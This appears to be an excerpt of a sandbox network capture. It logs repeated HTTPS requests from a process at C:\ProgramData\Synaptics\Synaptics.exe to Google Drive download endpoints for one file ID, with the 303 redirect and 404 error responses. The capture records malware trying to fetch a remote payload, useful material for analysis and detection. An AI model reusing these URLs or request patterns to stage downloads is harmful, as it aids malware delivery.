2025-01-02 19:28:51 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5a 71 58 72 61 61 56 73 5f 37 37 71 44 31 45 48 61 71 69 44 50 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="ZqXraaVs_77qD1EHaqiDPA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:51 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	50116	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:50 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:51 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC47B7W4qmwvfboFTEXCmPxrwtmMhhQPnYGKr_0y_vev6AB64WLsjooOGtHdA5FN802OHPCQ2vs Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:51 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-EXeaHAJzZk8dihuPsZRwPQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:51 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:51 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4c 76 61 31 62 32 54 33 37 74 64 37 39 67 35 76 42 71 52 4f 4f 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="Lva1b2T37td79g5vBqROOg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:51 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	50124	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:51 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	50123	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:51 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	50125	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:51 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	50132	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:52 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:53 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:52 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-RwShuely4ndCzlVeD5UyVQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	50133	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:52 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:53 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:52 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3Ba6_hDgCZULiPzn4aLxCQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	50141	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:53 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:54 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-eWwyo1TiYE04L8T7PHEzmg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	50142	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:53 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:54 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6KG7OSxD8Xlgzu5S-2UwVfgYQixBNbo5RNI_vxTHuznKI6N8B_Wr_Pu_lMcDXj7iz6 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:54 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-udJi7uCzzVoewUfX-96zFA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:54 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:54 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 38 50 68 67 66 63 7a 79 7a 31 57 43 73 31 59 56 6a 4f 74 6c 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="o8Phgfczyz1WCs1YVjOtlw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:54 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	50144	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:53 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:54 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5rfswK_O0wJ1QBKuDCNBURBc88wat7gNmjKCpB7koPXyXF17357iebNxE4G-s9WixE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:54 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-89LBRq1m5eLeAM6wJcrzdA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:54 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:54 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 70 52 39 6b 64 54 6d 68 4d 55 6d 49 4c 67 6b 32 2d 46 77 41 75 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="pR9kdTmhMUmILgk2-FwAuw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:54 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	50143	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:53 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:54 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-5c3c2KgSUdtW0aJXV7Ryqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	50154	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

